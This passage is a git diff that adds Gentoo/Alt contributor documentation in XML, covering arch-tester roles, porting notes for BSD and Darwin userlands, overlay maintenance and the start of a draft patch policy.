+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/arch-testers-alt.xml,v 1.7 2007/03/12 18:33:39 welp Exp $ -->
+
+<!--  The content of this document is licensed under the CC-BY-SA license -->
+<!--  See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.0</version>
+<date>2005-10-22</date>
+
+<section>
+<title>Gentoo/Alt Arch Testers Information</title>
+
+<body>
+<p>
+Gentoo/Alt will maintain a pool of "Arch Testers" henceforth referred to as
+ATs.  One or more Gentoo/Alt developers will take the responsiblity of 
+managing the AT group.  ATs will be included on the gentoo-alt@gentoo.org alias, so 
+they can be informed of all bug activity. The current AT operational lead for Gentoo/Alt
+is <mail link="welp@gentoo.org">Peter Weller</mail>. Any problems/suggestions/flames 
+should be directed at him.
+</p>
+
+<p>
+ATs will be responsible for responding to all test requests in a timely
+manner (keywording, security, marking stable, requests from devs on irc,
+etc...) and ensuring that the application works, as well as check that the
+ebuild doesn't contain any glaring errors. ATs must keep their system up to
+date, use reasonable CFLAGS, and keep with the current profile.  To mark a bug 
+as tested, ATs will use the keyword "TESTED" in bugzilla (in the "keywords" field)
+</p>
+
+<p>
+Gentoo/Alt developers will be able to take ATs word at their own discretion.
+Ultimatly, commiting the requested changes will be the dev's responsibility.
+Feel free to ask for more than one tester if you feel the bug warrants it.
+</p>
+
+<p>
+Prospective ATs will have to pass the ebuild quiz, which can be found <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">here.</uri>
+</p>
+
+<p>
+A note about arch tester's status: Gentoo/Alt Arch Testers are not official
+Gentoo developers.  They are, however, a recognized part of the Gentoo/Alt team.  
+All ATs are asked to keep this in mind when selecting email signatures or
+other forms of communication.
+</p>
+
+<table>
+<tr>
+<th>Subproject</th>
+<th>Full Name</th>
+<th>Nickname</th>
+<th>Status</th>
+<th>Email</th>
+</tr>
+
+<tr>
+<ti>Gentoo/FreeBSD</ti>
+<ti>Nathan Smith</ti>
+<ti>ndansmith</ti>
+<ti>Active</ti>
+<ti>ndansmith@gmail.com</ti>
+</tr>
+
+</table>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/index.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/index.xml
new file mode 100644
index 00000000..fc923f2c
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/index.xml
@@ -0,0 +1,66 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/index.xml,v 1.8 2007/03/15 22:38:04 welp Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml">
+<title>Gentoo/Alt Contributor's Guide</title>
+
+<author title="Author/Editor">
+    <mail link="citizen428@gentoo.org">Michael Kohl</mail>
+</author>
+<author title="Author">
+    <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Editor">
+    <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+Documents related to Gentoo/Alt testing, including procedures and AT application process.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-10-22</date>
+
+<part>
+<title>Gentoo/Alt Contributor's Guide</title>
+<abstract>
+This handbook provides documentation for Gentoo/Alt contributors.
+</abstract>
+
+<chapter>
+    <title>Gentoo/Alt Policy</title>
+<abstract>
+    This document explains policies for Gentoo/Alt developers.
+</abstract>
+    <include href="policy.xml" />
+</chapter>
+<chapter>
+    <title>Gentoo/Alt Overlay</title>
+<abstract>
+    This document informs you about the Gentoo/Alt overlay and how to maintain ebuilds in it.
+</abstract>
+    <include href="overlay.xml" />
+</chapter>
+<chapter>
+    <title>Gentoo/Alt Technotes Guide</title>
+<abstract>
+    This guide contains technical notes about working with packages on a non-Linux Gentoo environment.
+</abstract>
+    <include href="maintnotes.xml" />
+</chapter>
+<chapter>
+    <title>Starting a Gentoo/Alt port</title>
+<abstract>
+    This guide will show you that starting a new Gentoo/Alt port isn't difficult once you know what to take care of.
+</abstract>
+    <include href="port-start.xml" />
+</chapter>
+</part>
+
+
+</book>
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/maintnotes.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/maintnotes.xml
new file mode 100644
index 00000000..8c56ae9b
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/maintnotes.xml
@@ -0,0 +1,567 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/maintnotes.xml,v 1.5 2006/05/02 22:02:01 flameeyes Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.2</version>
+<date>2006-05-02</date>
+
+<section>
+<title>General Structure</title>
+<subsection>
+<title>Handling Users</title>
+<body>
+
+<p>
+There are differences between users in a Gentoo/Linux system and the ones in 
+other Gentoo/Alt systems. These differences are usually a side problem that
+does not invalidate most of the work. Still, it's better to pay attention.
+</p>
+
+<p>
+The first thing to check is to <e>never</e> use the <c>root</c> group. The 
+group with id 0, called <c>root</c> on Linux is instead <c>wheel</c> on BSD and
+Darwin, (and probably other classical unices); while <c>wheel</c> group on
+Linux has GID 10. When you need to set the default permissions on a file (or a
+series of files), you should then use the command <c>chown root:0 file</c>
+instead, so that it takes the right permissions.
+</p>
+
+<impo>
+This is the only one case where you should refer to a group or an user with its numeric ID instead of the name.
+</impo>
+
+<p>
+For every other case you should always use the name of groups and users, 
+avoiding specifying them by ID as they can have different IDs on different 
+systems.
+</p>
+
+<p>
+Also, it's important to note that every ebuild that makes references to specific
+users and groups, should add them with <c>enewgroup</c> and <c>enewuser</c>, 
+if it does not depend on the ebuild that adds them. So for example, 
+<c>cronbase</c> adds <c>cron</c> user and group, as they can not be present on 
+the users' systems.
+</p>
+
+<p>
+It's not rare to create users that cannot login on a system. To do so, on Linux, 
+the shell of those users is set to <path>/bin/false</path>. Unfortunately, this
+does not work on BSD-derived systems like Gentoo/*BSD and Gentoo/Darwin, as
+they use a more sofisticated approach, and <path>/bin/false</path> does not
+exists. <c>enewuser</c> function provide a simple way to create a disabled
+user: just use <c>-1</c> as the shell for the newly created user, this way the
+function will take care of selecting the right shell for the disabled user,
+making use of <path>/sbin/nologin</path> where that is present (*BSD, Darwin
+and Linux using <c>app-admin/nologin</c>) or falling back to
+<path>/bin/false</path> when nothing else can be used.
+</p>
+
+<note>
+As of now <c>eneweruser</c> function fails when using <path>/bin/false</path> or
+any other direct "disabled" shell as shell for the user, forcing the ebuild
+developers to use -1 as it should be.
+</note>
+
+<p>
+If you need to find out the home directory for a given user, you can't rely on 
+the format of <path>/etc/passwd</path> or on the output of <c>egetent</c>, as
+they are different on FreeBSD and OSX. To avoid this, the
+<c>egethome</c> function (provided by <c>portability</c> eclass, but available
+inheriting <c>eutils</c>), returns the right field making sure that is the home
+directory for the user:
+</p>
+
+<pre caption="egethome usage">
+inherit eutils
+...
+homedir=$(egethome charlie)
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Applications</title>
+<subsection>
+<title>Bash and shells</title>
+<body>
+
+<p>
+Bash is the default shell of Gentoo Linux, and it's on top of this that ebuilds
+are written. Because of this, Gentoo/Alt projects provides bash in their base
+system, as <path>/bin/bash</path>.
+</p>
+
+<p>
+Ebuilds and scripts can use bashisms without problems as bash is provided, but
+in case of scripts, it's important that the first line reads as
+<c>#!/bin/bash</c> instead of just <c>#!/bin/sh</c>, to make sure that they are
+being executed with bash. The same goes for calling scripts from inside
+ebuilds, <c>sh somescript</c> is deprecated in favor of <c>bash somescript</c>
+so that bash is called for sure.
+</p>
+
+<p>
+While bash should take care of managing <c>[ .. ]</c> tests, it's anyway
+suggested to use <c>[[ .. ]]</c> to run tests also when quoting the arguments
+correctly. This way, the tests are guarranteed to be expanded by bash
+internally and do not get executed by <path>/bin/[</path> instead.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>GNU tools and non-GNU userlands</title>
+<body>
+
+<p>
+Gentoo/Alt projects, a part from Gentoo GNU/kFreeBSD, aims to have a complete 
+system that uses native versions of all the system's tools, of <c>libc</c>, 
+and so on. However, there are some part of Gentoo's base system that does not 
+work with BSD-like tools (not because they are broken, just because they are 
+strictly POSIX). To work around this problem, we install a series of GNU tools 
+g-prefixed. In a Gentoo/Alt system profile, you can always find these tools: 
+GNU sed (as <c>gsed</c>), GNU make (as <c>gmake</c>), GNU awk (as <c>gawk</c>),
+GNU patch (as <c>gpatch</c>) GNU diff (as <c>gdiff</c>) and usually GNU cmp (as
+<c>cmp</c>, for compatibility with a couple other scripts). If you need 
+GNU-style <c>find</c> command, you can also install findutils package that 
+provides <c>gfind</c> and <c>gxargs</c>.
+</p>
+
+<p>
+To allow users who prefers the GNU-style tools be comfortable, there is an ebuild
+<path>sys-apps/userland-gnu</path> that depends on coreutils and other GNU 
+packages, that are always g-prefixed, and then links them inside 
+<path>/usr/libexec/gnu</path> without the g-prefix. After adding them to
+<c>$PATH</c>, it's possible to use GNU tools in command line.
+</p>
+
+<p>
+It's always preferred to use just the POSIX options, to be able to run the same
+script identical on Gentoo/Linux and Gentoo/Alt. In case you cannot rewrite 
+the code not to use the GNU extensions, just add a dependency over the right 
+package that provides the tool, and then do a simple test:
+</p>
+
+<ol>
+  <li>Check for the g-prefixed tool</li>
+  <li>Check that it works as expected for a GNU tool (usually this means that 
+  it accepts <c>version</c> option and reports GNU, FSF or the name of the 
+  package there)</li>
+</ol>
+
+<p>
+And then select the right one you need.
+</p>
+
+<impo>
+Inside an ebuild there are a few aliases that are used to make sure that they 
+doen't break apart, so calling <c>make</c>, <c>sed</c>, <c>patch</c> and 
+<c>awk</c> will call the GNU version of the tools.
+</impo>
+
+<warn>
+The GNU tools' aliases works only if the tools are called by themselves, they
+won't work inside scripts called by the ebuild, and they won't work if called
+by <c>find .. -exec</c> or by <c>xargs</c>. In those cases, it's usually better
+to check for the right tool to call. An important exception is the usage of the
+<c>sed</c> command to call GNU sed: being widely used and difficult to check or
+fix, Portage 2.1_pre9 and later provides a wrapper script that calls GNU sed in
+any case, when used from ebuilds, if the <c>$ESED</c> variable is not set, in
+which case the called <c>sed</c> will be the one there indicated. This allows
+the usage of BSD sed when building BSD packages for instance.
+</warn>
+
+<p>
+To help with porting, there are a few constructs that are usually used out of 
+habit that need to be fixed:
+</p>
+
+<ol>
+  <li><c>cp -a</c>: this is a GNUism, as the <c>-a</c> option is not present 
+  on POSIX <c>cp</c>. Its replacement is told to be <c>-dpPR</c>, but <c>-d</c>
+  is not posix itself, so <c>-pPR</c> is what you should replace <c>-a</c>.</li>
+  <li><c>cp --parents</c>: this other GNUism is used to copy a series of files
+  from a tree maintaining their prefix. There's no equivalent option in BSD 
+  userland, so this should be avoided. If you need this, instead use the 
+  <c>treecopy</c> function in <c>portability</c> eclass, that works exactly as a
+  <c>cp --parents -pPR</c> call.</li>
+  <li><c>seq</c> doesn't exist on BSD userland, but there's a quick 
+  replacement: <c>jot</c>. Unfortunately its syntax is too variable, and poses 
+  a problem to manage. To avoid this, <c>portability</c> eclass has a 
+  <c>seq</c> function replacement that calls <c>jot</c> with the right 
+  parameters when called on a BSD userland. Still, make sure you're not trying
+  to use some extra options to <c>seq</c></li>
+</ol>
+
+<note>
+The <c>-d</c> option does <e>not</e> make a difference in almost all the cases, 
+as it counts only when you have symlinks directly on the command line argument.
+</note>
+
+</body>
+</subsection>
+<subsection> <!-- Using pmake -->
+<title>Using pmake</title>
+<body>
+
+<p>
+There are a few packages that require the use of <c>pmake</c> (parallel make, 
+by NetBSD, the package we use is from Debian) to build on GNU userland, as 
+the makefiles are incompatible with GNU <c>make</c>. As the name of this
+flavor of make varies depending on the userland you're in (it's <c>pmake</c>
+on GNU userland, <c>bsdmake</c> in Darwin userland and simply <c>make</c>
+in BSD userland. To avoid this trouble, you can use <c>get_bmake</c> function
+from <c>portability</c> eclass.
+</p>
+
+<pre caption="using get_bmake">
+DEPEND="virtual/pmake"
+...
+
+src_compile() {
+    $(get_bmake) || die "make failed"
+}
+</pre>
+
+<p>
+If the package builds using <c>ports</c>-like interface, as done by FreeBSD
+system packages, <c>bsdmk</c> eclass (currently on Gentoo/Alt overlay)
+provides a simple way to handle the knobs: just add to <c>${mymakeopts}</c>
+the list of knobs to pass during the <c>pkg_setup()</c> function, and then
+call <c>mkmake</c> and <c>mkinstall</c> to compile and install the packages
+as specified.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Note about different makes -->
+<title>Note about different make</title>
+
+<body>
+
+<p>
+As the <c>make</c> command changes name depending on the system where it's
+being used, there is an important thing to keep in mind: recursive makefiles
+are often used to build subdirectories of a source tree, but sometimes they
+calls directly a new <c>make</c> command. This breaks when the makefiles are
+called with other versions.
+</p>
+
+<p>
+To avoid this problem all the modern <c>make</c> commands sets an automatic
+variable <c>$(MAKE)</c> that carries the name of the command used to launch
+the make chain. Instead of calling a generic <c>make</c>, all the makefiles
+should then call <c>$(MAKE)</c> to be safe with different naming of the
+command.
+</p>
+
+<p>
+Another fortunately less common problem is when a package decides that 
+<c>$(MAKE)</c> is not an automatic variable and try to overwrite it to set to
+something else than what it is by default. This usually breaks compilation.
+</p>
+
+<p>
+Both kind of errors requires patches to the original sources, that should be
+sent upstream as usual.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Programming</title>
+<subsection>
+<title>Linking to dlopen()</title>
+<body>
+
+<p>
+On glibc-based systems, the <c>dlopen()</c> function and other functions to handle
+run-time dynamic linking resides in the <c>libdl</c> library that must be linked 
+explicitly in the program. On BSD systems instead those functions are provided by 
+<c>libc</c>.
+</p>
+
+<p>
+Some software does not check if it needs to link to <c>libdl</c> and always links
+to it. This breaks on Gentoo/*BSD systems. To avoid this, <c>autotool</c>-ed 
+projects can use a simple m4 macro, that can be found in
+<path>gentoo-alt/m4s</path> module (derived from xine-lib's macro collection)
+in the <path>dl.m4</path> file.
+</p>
+
+<p>
+This simple <c>AM_DL</c> macro added to <path>configure.ac</path> (or 
+<path>configure.in</path>) takes care of looking for the right library to link to,
+and sets <c>DYNAMIC_LD_LIBS</c>. Add that to the <c>LIBADD</c> variable for the 
+target and it will work fine on both glibc-based and BSD-derived systems.
+</p>
+
+<p>
+For packages that do not have a build system that can be fixed to recognize 
+whether <path>libdl</path> is needed, it's possible to use the <c>dlopen_lib</c>
+function in the <c>portability</c> eclass. This function will return <c>-ldl</c>
+where present, and nothing where it is not present, so one could use:
+</p>
+
+<pre caption="using $(dlopen_lib)">
+append-ldflags $(dlopen_lib)
+</pre>
+
+<p>
+To make sure it gets linked where needed.
+</p>
+
+</body>
+</subsection>
+
+<subsection><!-- Linkers issues -->
+<title>Linkers issues</title>
+<body>
+<p>
+A practice that can be an issue for Gentoo/Alt projects is assuming that the
+linker that will be used to build a package is GNU and provided by binutils.
+Some operating systems like Darwin uses another kind of linker that is not
+completely compatible with the GNU one.
+</p>
+
+<p>
+The most common error is to add <c>--with-gnu-ld</c> to the list of arguments
+used to call <c>econf</c>. This is superfluos, as autoconf is smart enough to
+figure out by itself when it's using GNU ld and when not. It also breaks when
+the ld is not GNU as expected.
+</p>
+
+<p>
+Another problem is with linking of suid binaries. Gentoo Linux guidelines tell
+to link them with <c>-Wl,-z,now</c> option to get a non-lazy binding.
+Unfortunately this option - while supported by many other linkers - is not
+always called this way. To avoid this problem, you can use the
+<c>bindnow-flags</c> function (in <c>flag-o-matic</c> eclass), that finds the
+flags to append to have the non-lazy binding on the current linker.
+</p>
+
+<pre caption="appending flags for now binding">
+inherit flag-o-matic
+...
+  append-flags $(bindnow-flags)
+</pre>
+
+<p>
+As appending those flags is not always the best solution, it's usually
+preferred to patch the sources to use those flags just when linking the suid
+binaries. This can be tricky to allow use of non-GNU linkers. The solution is
+to use an undefined macro <path>BINDNOW_FLAGS</path>, and then either export the
+variabile in <c>src_compile</c> or use it to call the <c>emake</c> command.
+</p>
+
+<pre caption="example of emake call when overriding bindnow flags">
+inherit flag-o-matic
+...
+  emake BINDNOW_FLAGS="$(bindnow-flags)" || die "emake failed"
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>malloc.h Header</title>
+<body>
+
+<p>
+Some time ago, on some systems, in order to have the <c>malloc()</c> function, you
+had to include the <path>malloc.h</path> header. Currently, this header is 
+deprecated and should not be included, instead the <path>stdlib.h</path> header is 
+enough to get the right prototype for the function.
+</p>
+
+<p>
+When using <c>glibc</c> or <c>uclibc</c>, including <path>malloc.h</path> just adds
+<path>stdlib.h</path> to includes. On other systems it simply does not exist. On 
+FreeBSD, <path>malloc.h</path> exists, but it is a "trap". It basically throws a 
+compilation error, stopping the build process. This can be discouraging for users, 
+but it's a good way to know what software needs to be fixed to <e>not</e> try to 
+include that file.
+</p>
+
+<p>
+There are two simple ways to deal with this problem:
+</p>
+
+<ul>
+  <li>Remove the line that includes <path>malloc.h</path> and prepare a patch for 
+  upstream devs (if needed, add <path>stdlib.h</path> to the includes, to have
+  <c>malloc</c>'s definition)</li>
+  <li>Add a test for <path>malloc.h</path> in <path>configure.ac</path> (or 
+  <path>configure.in</path>), and protect the inclusion with a 
+  <c>#ifdef HAVE_MALLOC_H .. #endif</c> block, it works because the 
+  <c>#error</c> call bails out the preprocessor as well.</li>
+</ul>
+
+<p>
+The first way is preferred, as <path>malloc.h</path> is a deprecated header and 
+should not be used, although some projects that have to deal with very very 
+very old systems would like to protect it with an additional check, even if this
+means having to deal with a longer configure stage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Locale Libraries</title>
+<body>
+
+<p>
+One of the most used components in GNU software is <c>gettext</c>, a tool that 
+allows the creation of i18n-capable packages (library and programs) with 
+a relatively small amount of work and non-intrusive changes. Unfortunately, 
+during the past years, the way <c>gettext</c> was integrated into GNU/Linux 
+systems changed, creating a problem with Gentoo/FreeBSD now.  Originally, the 
+needed intl functions were always provided by <c>gettext</c> itself.  Howerver,
+recent versions of GNU <c>libc</c> provides them inside the standard library 
+itself, thus not requiring anymore the linking to <c>libintl</c> as is required 
+for system using other <c>libc</c>'s.
+</p>
+
+<p>
+Similarly, <c>libiconv</c> is a GNU library that provides ways to convert text 
+between different characters encodings. Its functions used to be always be 
+provided always by <c>libiconv</c>, but now they are also embedded inside GNU 
+<c>libc</c>. <c>gettext</c>, to provide its functionalities, uses <c>libiconv</c>;
+at the same time, <c>libiconv</c> can use <c>gettext</c> to proivde i18n support 
+for itself. This is not a problem for GNU <c>libc</c> users, as both <c>libintl</c>
+and <c>libiconv</c> are inside <c>libc</c>, but it's a problem for non-glibc 
+systems as this would add a circular depedency. To avoid this, nls support in 
+<c>libiconv</c> is forcefully disabled.
+</p>
+
+<p>
+Almost every package that depends on <c>libiconv/gettext</c> and uses 
+<c>autotools</c> has already support to link to the right libraries on non-glibc 
+systems. Unfortunately, this is not always enough: <c>gettext</c> guide states what 
+the packages must do to make NLS support optional, but this is not always followed 
+as intended, and intl functions are called also if NLS is disabled during configure 
+stage, causing failure in linking on non-glibc systems (this doesn't appear as a 
+problem on <c>glibc</c> systems, as the functions are always available on libc, and 
+it doesn't need to be linked against, while on systems where <c>libiconv</c> and 
+<c>libintl</c> are used it needs to be explicitely linked against that). This can be
+simply avoided protecting under <c>#ifdef ENABLE_NLS .. #endif</c> blocks the calls 
+to <c>setlocale()</c>, <c>testdomain()</c> and other intl functions. This way, they
+will be called only when gettext is requested and linked against.
+</p>
+
+<p>
+There's then the opposite problem: when building with NLS support, some packages
+fail with undefined references to functions like <path>libintl_gettext</path>.
+This happens because the package does not really add the variables to link
+against to the linking command, that is, it misses to link to <path>libintl</path>
+when the functions are not provided by the <c>libc</c>. For autotooled packages
+the library that contains the library to link against for <path>libintl_*</path>
+functions is <c>LTLIBINTL</c>, while the one for <path>libiconv_*</path>
+function is <c>LTLIBICONV</c>. Don't be confused by the LT prefix, those are not
+dependent on libtool presence, but rather means that <c>libintl/libiconv</c>
+were built with libtool, so passes <c>-L${libdir} -lintl</c> commandline instead
+of pointing directly to the .so file.
+</p>
+
+<pre caption="Makefile.am that links correctly against libintl">
+..
+somebinary_LDADD = $(LTLIBINTL)
+..
+</pre>
+
+<p>
+The way <c>gettext</c> and <c>libiconv</c> are used by some GNU software, with respect
+to generic software, actually adds a couple more problems to Gentoo/*BSD systems. 
+Packages like <c>tar</c>, <c>gettext</c>, <c>glib2</c> and <c>libiconv</c> themselves 
+create, for some reason, a <path>${libdir}/charset.alias</path>. This file is going to 
+have collisions with every package that creates one, so this will not be a good thing. 
+The solution is to let <c>libiconv</c> install the only instance of it, and remove it 
+from every other package, that's why some packages have one 
+<c>rm -f /usr/$(get_libdir)/charset.alias</c> line. Remember that the -f is needed, 
+as the file won't be created by Gentoo/Linux with <c>glibc</c>.
+</p>
+
+<p>
+Another problem can be defining the dependencies for packages. It's always a bit of a 
+problem knowing if <c>gettext</c> must be a runtime dependency or just a build time 
+dependency, and whether it is related to the <c>nls</c> USE flag or not. On a 
+glibc-based system <c>gettext</c> is a build-time dependency if <c>nls</c> USE flag is 
+enabled (and the package does not regenerate <c>autotools</c> support files), or an 
+unconditional build-time dependency when <c>autopoint</c> needs to be run. On a 
+non-glibc system, <c>gettext</c> is also a run-time dependency when building with 
+nls useflag enabled. While currently <c>gettext</c> and <c>libiconv</c> are in the list
+of system packages for Gentoo/*BSD ports, the complete dependencies should be
+stated as:
+</p>
+
+<pre caption="gettext dependancy sample">
+RDEPEND="nls? ( virtual/libintl )"
+DEPEND="nls? ( sys-devel/gettext )"
+</pre>
+
+<p>
+Obviously this is true when nls USE flag is present and is honored by both the ebuild and
+the <path>configure</path> script.  However,  please remember that <c>--disable-nls</c> 
+presence on <c>configure --help</c> does not always mean that nls support can be disabled 
+or is even present.
+</p>
+
+<p>
+Similarly, the packages that uses the <path>iconv()</path> function and thus
+requires <c>libiconv</c> package when building on non-GLIBC systems, have to
+depend on <c>virtual/libiconv</c>, that doesn't add extra dependencies on
+GLIBC users but satisfy the dependencies for non-GLIBC users.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>yacc and byacc</title>
+
+<body>
+
+<p>
+Other packages that needs special treatment for Gentoo/*BSD are <c>yacc</c> and
+<c>byacc</c>. Their sources are present inside the base system of FreeBSD and
+others BSD, but they are different from the original <c>yacc/byacc</c>, so it's
+better to use these versions, more updated than the ones released and in portage.
+</p>
+
+<p>
+For this reason, when a package depends on <c>yacc</c> or <c>byacc</c>, it
+should put a <c>|| ( )</c> dependency with the package providing the same
+command on FreeBSD: <c>sys-freebsd/freebsd-ubin</c>.
+</p>
+
+<p>
+If that dependency becomes widespread, a new virtual would be proposed.
+</p>
+
+<pre caption="Dependencies for a package needing yacc.">
+DEPEND="...
+    || ( dev-util/yacc sys-freebsd/freebsd-ubin )"
+</pre>
+
+</body>
+
+</subsection>
+
+</section>
+
+</sections>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/overlay.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/overlay.xml
new file mode 100644
index 00000000..a3624b39
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/overlay.xml
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/overlay.xml,v 1.3 2006/05/02 06:33:54 flameeyes Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2005-12-15</date>
+
+<section> <!-- The overlay -->
+<title>The Overlay</title>
+
+<subsection> <!-- Reasoning -->
+<title>Reasoning behind</title>
+<body>
+
+<impo>
+This guide is still a <e>draft</e>. It does not contain true policies about the
+use of the overlay as they are not being delineated yet, 
+</impo>
+
+<p>
+Gentoo/Alt projects often need to change current ebuilds to let them know about
+their userland, libc or what else. These changes can be non-trivial, and should
+usually be hold until the maintainer of the ebuild can take a look to the
+patches and make sure that they works as intended.
+</p>
+
+<p>
+The drawback is that then Gentoo/Alt users can't make use of the ebuilds on the
+fly, and developers might try to do the same thing more than one time as they
+might not know what the other developers worked on.
+</p>
+
+<p>
+The overlay idea is took from Gentoo/FreeBSD, that used the overlay to apply
+patches that involved, for example, malloc patches, userland checks and other
+things that should have been reviewed before going into main tree.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- In and Out -->
+<title>In and Out</title>
+<body>
+
+<p>
+The overlay is intended to work as a cache of ebuilds while they are being
+tested (for totally new packages) or while the patches are being reviewed by
+ebuild maintainers.
+</p>
+
+<p>
+In the case of packags that goes on the overlay just to wait for review
+by ebuilds maintainers, their addition should be direct, with obviously the
+same name of the original package. It's usually better, if the patch is
+trivial, to open a bug and note that in the ChangeLog for the overlaid package
+just before adding the package to the overlay itself, unless the patches needs
+to be tested for a while before submitting them to the ebuild maintainer.
+</p>
+
+<p>
+As soon as a patch is merged in main tree, the ebuilds in the overlay needs to
+go, to avoid having unneeded ebuilds there. It's also important to have the
+ebuilds be in sync with the main tree in case of revision bumps.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Where -->
+<title>Where</title>
+
+<body>
+
+<p>
+For developers, the overlay is available on Gentoo's Subversion repositories in
+<path>svn+ssh://username@svn.gentoo.org/var/svnroot/gentoo-alt/trunk/overlay</path>.
+It's not restricted, so please don't
+go over other's changes without notifying before, unless they causes problem on
+all the systems. Always try to get a solution that does work for every project
+while changes the minimum quantity of code.
+</p>
+
+<p>
+As the overlay is intended to be used by users, too, daily snapshots can be
+found on mirrors as
+<path>/experimental/snapshots/portage-alt-overlay-latest.tar.bz2</path>. The
+daily snapshot can be fetched and used as portage overlay, and should be safe
+to be used in both Gentoo/Alt and Gentoo/Linux systems, also if might happen
+that the overlay interfere with Gentoo/Linux. In case that happens, remember
+to contact Gentoo/Alt developers so that the issues can be checked and resolved.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section> <!-- Development -->
+<title>Development</title>
+
+<subsection> <!-- Committing -->
+<title>Committing</title>
+
+<body>
+
+<p>
+One of the reasons why Subversion was chosen instead of CVS is that it supports
+atomic commits, does not expand keywords (like <c>&#36;Header: &#36;</c>) and
+so we can use it without using a two-step commit for manifests.
+</p>
+
+<p>
+For this reason, the third line of ebuilds is safe to remain
+<c>&#36;Header: &#36;</c> so that it will be safe when it's being moved to
+main portage.
+</p>
+
+<p>
+When committing, it's important to use <c>echangelog</c>, also if it's an
+overlay to state the reasons why the ebuild is being changed. It's simple to
+write a bash function to get the commit done at one time:
+</p>
+
+<pre caption="Bash function to commit to Subversion">
+svncommit() {
+  [[ -n $(echo *.ebuild) ]] &amp;&amp; { echangelog "$@" }
+  ebuild $(ls *.ebuild | head -n 1) manifest || return 1
+  svn ci -m "$@" || return 1
+}
+</pre>
+
+<p>
+Repoman still has a couple of issues when used in overlays, especially with
+Subversion, and with extra categories, as it's being done on Gentoo/Alt, but
+these things can be easily fixed in the future, and are just side problems.
+</p>
+
+<p>
+<c>echangelog</c> still does not support Subversion-reposited ebuilds, so
+until it supports them fully, its output will be a bit limited, not telling
+when files are added and when are removed. It also returns a failure error
+to the caller, so it can't be checked against for failures.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Distfiles -->
+<title>Distfiles</title>
+
+<body>
+
+<p>
+Because ebuilds in the overlay are public to the users, their distfiles should
+be present in the mirrors. As the overlay ebuilds are not parsed by mirroring
+scripts, the distfiles loaded directly into the local
+<path>dev.gentoo.org</path> distfiles directory will be removed when "dead"
+distfiles are removed.
+</p>
+
+<p>
+To avoid having the distfiles removed, especially for tarballs that was created
+ad-hoc, it's important to whitelist the extra files. To do so, log into
+<path>dev.gentoo.org</path> and open the
+<path>/space/distfiles-whitelist/current</path> file. There, place one by line
+all the files you put or are going to put in the mirrors that should not be
+removed. The whitelist lasts for six months.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+</sections>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/policy.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/policy.xml
new file mode 100644
index 00000000..6ca0922d
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/policy.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/policy.xml,v 1.3 2006/05/02 06:04:18 flameeyes Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2006-05-02</date>
+
+<section> <!-- Intra-policy -->
+<title>Intra-policy</title>
+
+<subsection> <!-- Patches -->
+<title>Patches</title>
+<body>
+
+<warn>
+This text is still a draft, with probably big grammar problems. The policies
+here stated needs to be completed and decided upon. While this warning is in
+place, don't take anything here as an official policy!
+</warn>
+
+<p>
+Patches added to the overlay (and to portage) should follow some basic policies,
+thought to simplify the process of merging them upstream, without breaking stuff.
